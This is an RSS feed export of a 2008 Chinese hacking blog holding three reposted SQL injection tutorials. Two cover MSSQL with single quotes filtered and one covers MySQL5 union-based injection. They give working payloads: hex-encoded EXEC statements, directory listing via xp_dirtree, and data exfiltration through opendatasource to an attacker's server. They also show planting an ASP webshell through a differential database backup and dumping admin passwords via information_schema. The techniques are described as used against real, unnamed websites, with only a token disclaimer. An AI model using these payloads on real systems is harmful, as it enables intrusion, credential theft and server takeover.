        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/8ab523da4caf74dfb6fd48be.html]]></link>
        <description><![CDATA[
		
		作者：多事之秋<br>
来源：开门芝麻<br>
<br>
前几天拜读了nowthk的大作《SQL注入高级技巧nowthk篇》，深深地为作者灵活巧妙地构造注入语句所折服。文章讲了在注入点过滤单引号的情况下绕过单引号限制继续注入获取网站目录的技巧。文章有两个技术亮点，亮点一：将一整句SQL语句转换成十六进制，然后通过cast函数将十六进转换成字符类型数据，然后执行之。亮点二：在暴网站目录时采用了与众不同的手法，就是建表，执行存储过程将磁盘目录存入表中，然后暴出表第一条记录内容，因为注入点过滤单引号，所以作者采用了另建表，将除第一条记录以外的所有记录再插入这个新建表中，暴出新表第一条记录，就这样重复建表，插入，再暴内容，直到所有内容都暴出来为止。<br>
<br>
虽然作者的思路是很巧妙，但操作过程中也出现了几处明显的错误，有些错误是注入语句不当造成的，有的操作明明有更加简单有效的方法可以实现，但作者避简就繁，使用了复杂而且低效率的方法，虽然突出了一个技术亮点，但这样着实会误导很多人。我在网上搜索了一下这篇文章，发现很多站都在千篇一律地转载它，但没有一个站能发表对它的评论，作者也没有进行更正。所以才有了这篇文章，希望能给学习注入的朋友们加以解释，能够更准确地理解其中的道理。<br>
<br>
首先看一下nowthk运用opendatasource函数暴网站目录的操作步骤：<br>
<br>
（1）;create table temp(id nvarchar(255),num1 nvarchar(255))--成功<br>
<br>
（2）;insert into temp(id,num1) exec master.dbo.xp_dirtree &rsquo;D:&rsquo;--<br>
<br>
因为过滤单引号，所以nowthw将这句转换为：<br>
<br>
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S)--<br>
<br>
(3);insert into opendatasource(&rsquo;sqloledb&rsquo;,&rsquo;server=211.11.11.11;uid=sa;pwd=fuck!!;database=test&rsquo;).test.dbo.mulu select id from temp where num1=1--<br>
<br>
这句转换为：<br>
<br>
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S)--<br>
<br>
我们来分析一下，作者只想得到D盘根目录下的目录列表，运用了xp_dirtree存储过程，其实如果只得到目录列表，用;insert into temp(id) exec master.dbo.xp_subdirs 'd:';--用这个语句更加简洁高效一些。因为用xp_dirtree，它后面第三句中的select id from temp where num1=1就必须要这个num1=1的限制条件，否则导出的数据过大就会很导出失败。再一点我们分析一下作者导出数据失败的原因，根据我的经验，像这样的数据导出，远程的表与本地的表应该具有相同的数据结构，还有就是导出的数据不能太大，不然容易使导出失败。导出失败就像nowthk所说的那种情况。我们看下nowthk是怎样建本地表的呢？本地表mulu(name char(255)) 那远程是那个呢？temp(id nvarchar(255),num1 nvarchar(255))，我们可以看出这两个表结构是不同的，这样导出就失败了，所以在用opendatasource函数导出数据时一定要注意，远程表必须要与本地表结构相同。所以本地建表应该是用这样的命令：;create table temp(id nvarchar(255),num1 nvarchar(255))&mdash;<br>
<br>
所以我给改造的注入语句为：<br>
（1）;create table temp(id nvarchar(255),num1 nvarchar(255))&mdash;<br>
<br>
（2）;insert into temp(id) exec master.dbo.xp_subdirs 'd:';--<br>
<br>
这句转换成十六进制，同nowthk的所十六进制的方法。<br>
<br>
（3）;insert into opendatasource(&rsquo;sqloledb&rsquo;,&rsquo;server=211.11.11.11;uid=sa;pwd=fuck!!;database=test&rsquo;).test.dbo.temp select * from temp --<br>
<br>
这句也一样，转成十六进制<br>
<br>
经过这样改造，就可以成功暴得D盘下的目录列表了。如果是要用xp_dirtree的话，就要改造成这样：<br>
<br>
（1）;DROP+TABLE+WhyTt_Tmp;CREATE+TABLE+WhyTt_Tmp(subdirectory+nvarchar(256)+NULL,depth+tinyint+NULL,[file]+bit+NULL);Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;--<br>
<br>
（2）;insert into opendatasource(&rsquo;sqloledb&rsquo;,&rsquo;server=211.11.11.11;uid=sa;pwd=fuck!!;database=test&rsquo;).test.dbo.whytt_tmp select * from whytt_tmp --<br>
<br>
当然要在本地建个表whytt_tmp,结构与远程的whytt_tmp相同。;Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;--这句是在远程表中插入D盘下的目录及文件，但没有下级目录，这样表内容比较小，导出到本地，容易成功。这句与nowthk的不同，大家要注意一下。<br>
<br>
上面这些只是注入语句，实际注入时还要转换成十六进制绕过单引号才能成功注入。<br>
<br>
转十六进制的工具，如图：<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/469514f6f63a/ukkmmsik.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/469514f6f63a/ukkmmsik.jpg" small="1" class="blogimg"></a></div>
nowthk转的十六进制是这种形式的：0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700<br>
<br>
每个十六进制后面都加了00，这是为了适应nvarchar这种类型而改造的，所以我们得到的十六进制数值要进行改造一下，把每位十六进制后面都加添上00，如果不添加00的话，也可以用这样的格式：<br>
<br>
;DECLARE @S VARCHAR(4000);SET @S=CAST(0x696E7365727420696E746F206F70656E64617461736F75726365282773716C6F6C656462272C277365727665723D3231312E31312E31312E31313B7569643D73613B7077643D6675636B21213B64617461626173653D7465737427292E746573742E64626F2E77687974745F746D702073656C656374202A2066726F6D2077687974745F746D70 AS VARCHAR(4000));EXEC(@S)--<br>
<br>
这里数据类型定义为：varchar，所以十六进就是简单的格式了。<br>
<br>
综前所述，nowthk只所以用opendatasource函数导出失败的原因，就在于在本地建的表与远程的表不一致造成的，如果一致的话，很容易就得到网站的主目录，他后面的种种复杂操作也就可以省掉了。不知道nowthk明白这个道理了没？不过人已经进局子里了，恐怕他也没心情搞这些了，唉。。。。可怜的人哟。。。。<br>
<br>
我们在来看下nowthk绕过单引号暴表内容的方法：先建表，执行存储过程将磁盘目录存入表中，然后暴出表第一条记录内容，因为注入点过滤单引号，所以作者采用了另建表，将除第一条记录以外的所有记录再插入这个新建表中，暴出新表第一条记录，就这样重复建表，插入，再暴内容，直到所有内容都暴出来为止。其实根本不用这么复杂，我就总结出了几种方法可以绕过单引号限制。<br>
<br>
第一个方法：用char函数转换带单引号的字符串数据，方法如下：<br>
<br>
（1）;create table temp(id nvarchar(255),num1 nvarchar(255))--<br>
<br>
（2）;insert into temp(id) exec master.dbo.xp_subdirs 'd:';--<br>
<br>
这两句都需要转成十六进制执行。<br>
<br>
（3）and (select top 1 id from temp)&gt;0--<br>
<br>
提示:xxxxxxxxxxxx&rsquo;MUbak&rsquo;转换为int.....等出错等信息<br>
<br>
这里暴出表temp第一条记录内容：mubak 查它的ASCII码为：109 117 98 97 107<br>
<br>
(4) and (select top 1 id from temp where id not in(char(109)%2bchar(117)%2bchar(98)%2bchar(97)%2bchar(107))--<br>
<br>
这一句就没有出现单引号了，作用就是暴temp表第二条记录，看是不是比nowthk的方法要简单？假设暴出的第二条记录是：nop的话，那暴第三条记录的语句就是：<br>
<br>
(5) and (select top 1 id from temp where id not in(char(109)%2bchar(117)%2bchar(98)%2bchar(97)%2bchar(107), char(110)%2bchar(111)%2bchar(112))&mdash; 以此类推，直到暴出所有记录。<br>
<br>
第二个方法：用十六进制转换带单引号的字符串数据，方法如下：<br>
<br>
（1）;create table temp(id nvarchar(255),num1 nvarchar(255))--<br>
<br>
（2）;insert into temp(id) exec master.dbo.xp_subdirs 'd:';--<br>
<br>
（3）and (select top 1 id from temp)&gt;0--<br>
<br>
这些与前面的相同。<br>
<br>
（4） and (select top 1 id from temp where id not in(cast(0x6D7562616B as varchar(255)))-- 注：0x6D7562616B是mubak的十六进制<br>
<br>
(5) and (select top 1 id from temp where id not in(cast(0x6D7562616B as varchar(255)), cast(0x6E6F70 as varchar(255)))-- 注：0x6E6F70是nop的十六进制.<br>
<br>
这样是不是比前面的更简单一些呢？还有一个更简单的呢。大家看好.<br>
<br>
第三个方法：磁盘目录读取代码<br>
<br>
(1);DROP TABLE WhyTt_Tmp;CREATE TABLE WhyTt_Tmp(subdirectory+nvarchar(256) NULL,depth tinyint NULL,[file] bit+NULL);Insert WhyTt_Tmp exec master..xp_dirtree 'C:', 1,1;--<br>
<br>
(2)+and+1%3D1++And+%28Select+Top+1+char%28124%29%2BCast%28%5Bfile%5D+as+varchar%288000%29%29%2Bsubdirectory%2Bchar%28124%29+From+%28Select+Top+1+%5Bsubdirectory%5D%2C%5Bfile%5D+From+WhyTt%5FTmp+ORDER+BY+%5Bfile%5D%2C%5Bsubdirectory%5D%29+D+ORDER+BY+%5Bfile%5D+desc+%2C+%5Bsubdirectory%5D+desc%29%3D0%2d%2d<br>
<br>
第一句需要转换成十六进制执行，第二句中没有单引号，所以可以直接提交，我们把第二句的第2个top+1这里的1依次变成2 ，3，4，5。。。等等。。。就可以依次暴出第1 2 3 4 5 6 直到第N条记录的内容了。第三个方法语句复杂了一点，但这个方法操作起来简单，只要改下数字提交就OK了，其它地方不用动,也不用管返回的数据,也不用转十六进制,所以是最简便的一种方法。本人强烈推荐使用这种方法.这三种方法哪一种都比nowthk介绍的方法都要简单。但他的方法也不失为一种思路，还是值得大家借鉴的。大家在以后遇到这种过滤单引号的注入时，就有了更多地手法供选择了。<br>
<br>
SQL注入技术千变万化,在注入过程中,可能会有好几种不同的注入手法,我们都要尽量掌握它们.同时在运用的时候也要灵活一些,一种方法不行就换另外一种,千万不要拘泥于一种形式,否则入侵就显得没有一点新意,没有一点生气,最后提醒各位网络爱好者非法入侵电脑系统，恶意破坏计算机网络是违法的事情，文章所介绍技术只为研究之用，切莫用于非法用途，否则因此产生的一切后果由使用者承担。<br>
<br>
By 多事之秋 来自开门芝麻 http://www.gingili.cn http://bbs.gingili.cn 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/8ab523da4caf74dfb6fd48be.html#comment">查看评论</a>]]></description>
        <pubDate>2008-01-21  10:54</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/8ab523da4caf74dfb6fd48be.html</guid>
</item>

<item>
        <title><![CDATA[SQL注入高级技巧nowthk篇]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/3728572d924e6530349bf7be.html]]></link>
        <description><![CDATA[
		
		作者：nowthk<br>
<br>
我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上，权限DB_owner。<br>
<br>
在某官网发现了一个注点，一个&rsquo;号提示&quot;xxxxxxxxxx&rsquo;0&rsquo;&rsquo;出现错误 &quot; ，经过初步的分析是把单引号，直接转换成了0&rsquo;,所以如果用工具肯定注入不了，实践证明工具不行，但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1= (select is_isvrolemember(&rsquo;sysadmin&rsquo;))这是简单检测系统权限。还好只是对单引号有限制，其它符号没有限制。不过这一点确实已经够麻烦的了。<br>
<br>
我们的目的是检测网站目录在什么地方，如果找到的话，直接差异备份数据库，取得webshell。<br>
<br>
首先提取IIS设置初期,网站目录在注册表中的位置，然后再暴出来。<br>
<br>
建一个表xy,;create table xy(xy1 nvarchar(256) null)，然后网表里插入其值，语句如下: <br>
<br>
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread &rsquo;HKEY_LOCAL_MACHINE&rsquo;,&rsquo;SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots&rsquo;,&rsquo;/&rsquo;,@result output insert into xy (xy1) values(@result)<br>
<br>
由于对&rsquo;单引号的转换，所以上面的命令肯定成功不了，这时我们可以想到再用declare函数，一开始我的做法为把 &rsquo;HKEY_LOCAL_MACHINE&rsquo;和<br>
&rsquo;SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots&rsquo;和&rsquo;/&rsquo;，这3个数据分别附于3个变量，这样语句构成为:<br>
<br>
;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)--<br>
<br>
没想到根本成功不了，我不清楚这个原因，然后去百度搜索原因，在邪恶八讨论区里看到无敌遇到的情况根我一样，至今还没有讨论出来结果，于是这种方法暂时先放一放，2天以后再得到了一种新方法，也是用declare于一个变量附值，不过这时附的不是某一数据，而是整句。<br>
<br>
方法如下:<br>
<br>
DECLARE @result varchar(255) EXEC master.dbo.xp_regread &rsquo;HKEY_LOCAL_MACHINE&rsquo;,&rsquo;SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots&rsquo;,&rsquo;/&rsquo;,@result output insert into xy (xy1) values(@result)<br>
<br>
全转换为16进制为:<br>
<br>
0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900<br>
<br>
这时用DECLARE @S NVARCHAR(4000);SET @S=CAST (0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S)<br>
<br>
直接执行成功，呵呵，反正没有用到单引号，这种方法是现在所能想出来的了，也算一点点小小的突破吧。<br>
<br>
把上述语句直接在浏览器里提交，返回正常的页面，然后用and 1=(selet top 1 xy1 from xy)成功暴出了网站的目录为d:\ wwwfuck\，哈哈，怀着侥幸的心理直接在此目录下差异备份数据库，失败！结论：1、语句没有错误　2、目录有问题。<br>
<br>
于是现在猜一把，就猜网站目录在D盘，那么唯一可行的办法就是一个一个暴目录啊~，郁闷，极其麻烦的事情又要来临了！<br>
<br>
我比较懒，随后想到的就是sql里的opendatasource命令,我机器装有sql，IP为211.11.11.11，我想把远程执行sql返回的结果直接插到我自己机器sql所建的表中，所以这样比较轻松，为了证明是否成功，我先建一个表为ku(id nvarchar(255)),然后远程提交的格式为:<br>
<br>
insert into opendatasource(&rsquo;sqloledb&rsquo;,&rsquo;server=211.11.11.11;uid=sa;pwd=fuck!!;database=test&rsquo;).test.dbo.ku select name from master.dbo.sysdatabases<br>
<br>
其中test为我自己的库，ku为test库中的表名　如果成功的话，在本地打开ku表，上述语句就会列出远程服务器中所有的库的名称。<br>
<br>
上面的语句有单引号，我们直接转换为16进制，转换后用如下语句提交即可:<br>
<br>
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E0064006<br>
<br>
1007400610073006F00750072006300650028002700730071006C006F006C00650064006<br>
<br>
20027002C0027007300650072007600650072003D003200310031002E00310031002E003<br>
<br>
10031002E00310031003B007500690064003D00730061003B007000770064003D0066007<br>
<br>
50063006B00210021003B00640061007400610062006100730065003D007400650073007<br>
<br>
400270029002E0074006500730074002E00640062006F002E006B0075002000730065006<br>
<br>
C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007<br>
<br>
400650072002E00640062006F002E007300790073006400610074006100620061007300<br>
<br>
65007300 AS NVARCHAR(4000));EXEC(@S); <br>
<br>
直接打开本地数据库test中的ku表，嘿嘿，成功列出了远程所有数据库的名称。<br>
<br>
下面来返回服务器上D盘下的目录，嘿嘿，为了求速度，我只列一级目录。<br>
<br>
建一个表;create table temp(id nvarchar(255),num1 nvarchar(255))--成功<br>
<br>
往表里插入所有各级数目录(一级目录为D盘根目录，二级就是下一层，三级依次类推),语句：;insert into temp(id,num1) exec master.dbo.xp_dirtree &rsquo;D:\&rsquo;，有单引号，上面的语句肯定不成功，肯定要用declare附值变量，好了，我直接写语句：<br>
<br>
DECLARE @S NVARCHAR(4000);SET @S=CAST<br>
<br>
(0x69006E007300650072007400200069006E0074006F00200074<br>
<br>
0065006D0070002800690064002C006E0075006D00310029002000<br>
<br>
650078006500630020006D00610073007400650072002E00640062<br>
<br>
006F002E00780070005F0064006900720074007200650065002000<br>
<br>
270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);<br>
<br>
那么现在temp表中，已经有了所有D盘的目录了，其中num1=1为一级目录,num1=2为二级..等等。<br>
<br>
好了，我把temp表中一级目录返回到本地吧<br>
<br>
本地建表mulu(name char(255)),远程语句:<br>
<br>
insert into opendatasource(&rsquo;sqloledb&rsquo;,&rsquo;<br>
server=211.11.11.11;uid=sa;pwd=fuck!!<br>
;database=test&rsquo;).test.dbo.mulu select<br>
id from temp where num1=1 <br>
<br>
转成16进制declare附变量提交，我日~~经过漫长由如死机的时间，失败了。。。弄不清楚原因，有知道的请联系我。<br>
<br>
既然懒的方法不行，算了，就勤快一些吧！郁闷！<br>
<br>
上述的temp远程表中还有目录名呢,太乱，在远程直接建个新表:;create talbe temp1(id nvarchar(4000))-- 然后把temp表中一级目录名称插到这里来，语句:;insert into temp1(id) select id from temp where num1=1--<br>
<br>
然后再暴: and 1=(select top 1 id from temp1 where id=1),提示:xxxxxxxxxxxx&rsquo;MUbak&rsquo;转换为int.....等出错等信息，我是不是很懒，连出错信息都不复制？明白就行了。 <br>
<br>
暴下一个目录不可能用 and 1=(select top 1 id from temp1 where id not in(&rsquo;MUbak&rsquo;))吧？因为里面有单引号呀,不是上面说可以用declare吗?错!这是暴,可不是执行命令呀，不要弄错！<br>
<br>
抽了一根烟，想了想，还有一个办法，再把temp1的目录一层一层地扒下来，把他们传递给temp2表,呵呵，肯定要先建表了;create table temp2(id char(255))--。<br>
<br>
先想明白语句，我把temp1的id下所有的名称，给于temp2，而且不包括&rsquo;MUbak&rsquo;目录，那么语句应该是:<br>
<br>
insert into temp2(id) select id from temp1 where id not in(&rsquo;MUbak&rsquo;) <br>
<br>
呵呵，有单引号，declare!!!，上面语句转16进制。<br>
<br>
语句为:<br>
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);<br>
<br>
这时，我在temp2暴表:and 1=(select top 1 id from temp2)，提示xxxxxxxxxxxx&rsquo;wwwbak&rsquo;转换为int.....等出错等信息。。呵呵，又一个目录出来了。<br>
<br>
然后删表temp2表，建temp3表，用上面的访法循环暴出下一个目录。<br>
<br>
可能有人问，为什么要建temp3表，直接删掉temp2，然后再建temp2再用呀，不过经验认为，这里最好新建一个，本人认为是缓存的原因，否则一直用老表，暴错的信息为同一个。。。。<br>
<br>
好了，经过漫长的时间，终于找出了网站的目录为D:\web\www\，下来备份呗。<br>
<br>
;create table riri(ri char(255))--<br>
<br>
;insert into riri (ri) values(0x3C25657865637574652872657175657374282261222929253E)-- &rsquo;0x3C25657865637574652872657175657374282261222929253E&quot; 为&lt;%execute request(&quot;a&quot;)%&gt;<br>
<br>
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk =@s WITH DIFFERENTIAL,FORMAT &rsquo;0x443a5c7765625c7777775c312e617370 为D:\web\www\1.asp<br>
<br>
这时成功得在网站目录备分了一个1.asp，访问www.xxx.com/1.asp 出现&rsquo;execute&rsquo;错误，呵呵，一个webshell到手了。看得很麻烦吧，如果有人做出工具来了就简单多了，否则累死你~~ 哈哈，闪先~~ 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/3728572d924e6530349bf7be.html#comment">查看评论</a>]]></description>
        <pubDate>2008-01-21  10:53</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/3728572d924e6530349bf7be.html</guid>
</item>

<item>
        <title><![CDATA[Mysql5注射技巧总结]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/866201f0616117aba40f52bd.html]]></link>
        <description><![CDATA[
		
		flyh4t@126.com<br>
<br>
文章已经发表在《黑客手册》，转载请署名版权<br>
<br>
Mysql5和之前的版本有很多不同的地方，灵活的运用其特性可以在入侵的时候省掉很多麻烦。我试图在本文把在《渗透周杰伦官方网站》中没有写清楚的部分表达出来，你看明白这个文章后也许你会发现，原来mysql5也可以像mssql一样注射。<br>
<br>
一、原理分析<br>
<br>
我们先看看mysql5比之前增加的系统数据库information_schema的结构，它是用来存储数据库系统信息的<br>
<br>
mysql&gt; use information_schema;<br>
<br>
Database changed<br>
<br>
mysql&gt; show tables;<br>
<br>
+---------------------------------------+<br>
<br>
| Tables_in_information_schema |<br>
<br>
+---------------------------------------+<br>
<br>
| CHARACTER_SETS |<br>
<br>
| COLLATIONS |<br>
<br>
| COLLATION_CHARACTER_SET_APPLICABILITY |<br>
<br>
| COLUMNS |<br>
<br>
| COLUMN_PRIVILEGES |<br>
<br>
| KEY_COLUMN_USAGE |<br>
<br>
| ROUTINES |<br>
<br>
| SCHEMATA |<br>
<br>
| SCHEMA_PRIVILEGES |<br>
<br>
| STATISTICS |<br>
<br>
| TABLES |<br>
<br>
| TABLE_CONSTRAINTS |<br>
<br>
| TABLE_PRIVILEGES |<br>
<br>
| TRIGGERS |<br>
<br>
| USER_PRIVILEGES |<br>
<br>
| VIEWS |<br>
<br>
+---------------------------------------+<br>
<br>
如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息，我这里只挑注射中可以用到的几个表。　<br>
<br>
| SCHEMATA ――&gt;存储数据库名的，<br>
<br>
|&mdash;&mdash;&gt;关键字段：SCHEMA_NAME，表示数据库名称<br>
<br>
<br>
<br>
| TABLES ――&gt;存储表名的 <br>
<br>
|&mdash;&mdash;&gt;关键字段：TABLE_SCHEMA表示表所属的数据库名称；<br>
<br>
TABLE_NAME表示表的名称<br>
<br>
| COLUMNS ――&gt;存储字段名的<br>
<br>
|&mdash;&mdash;&gt;关键字段：TABLE_SCHEMA表示表所属的数据库名称；<br>
<br>
TABLE_NAME表示所属的表的名称<br>
<br>
COLUMN_NAME表示字段名<br>
<br>
可以看到，我们只要通过注射点构造查询语句遍相关字段，就可以得到我们想要的信息了。<br>
<br>
二、实战测试<br>
<br>
到网上找到一个注射点，首先还是像以往一样猜字段、版本和数据库用户,如图１<br>
<br>
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/075904f6f3fc/zwvmqtll.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/075904f6f3fc/zwvmqtll.jpg" small="1" class="blogimg"></a></div>
图一<br>
<br>
下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名，如图2<br>
<br>
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/504954f6f3fe/32u8def7.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/504954f6f3fe/32u8def7.jpg" small="1" class="blogimg"></a></div>
图2<br>
<br>
遍里webbase里面的表名，找到敏感的表，如图三（0x77656262617365是webbase的十六进制编码）<br>
<br>
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/644934f6f401/65ufe5ux.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/644934f6f401/65ufe5ux.jpg" small="1" class="blogimg"></a></div>
图3<br>
<br>
tg_adminuser十六进制编码为0x74675F61646D696E75736572，依次查找该表里面的字段名，如图4，图5<br>
<br>
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/062564f6f403/qrbco68j.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/062564f6f403/qrbco68j.jpg" small="1" class="blogimg"></a></div>
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/342874f6f403/y56ibcwf.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/342874f6f403/y56ibcwf.jpg" small="1" class="blogimg"></a></div>
图五<br>
<br>
数据库，表名，字段我们都知道了，查出密码就很简单了，如图六<br>
<br>
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse<br>
<div forimg="1"><a href="http://pic.yupoo.com/sunlei/090024f6f406/hcxzd76b.jpg" target="_blank"><img border="0" src="http://pic.yupoo.com/sunlei/090024f6f406/hcxzd76b.jpg" small="1" class="blogimg"></a></div>
<br>
图6<br>
<br>
文章就到这里结束了，懂点sql语法的朋友应该看的比较明白了：） 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/866201f0616117aba40f52bd.html#comment">查看评论</a>]]></description>
        <pubDate>2008-01-21  10:52</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/866201f0616117aba40f52bd.html</guid>
</item>


</channel>
</rss>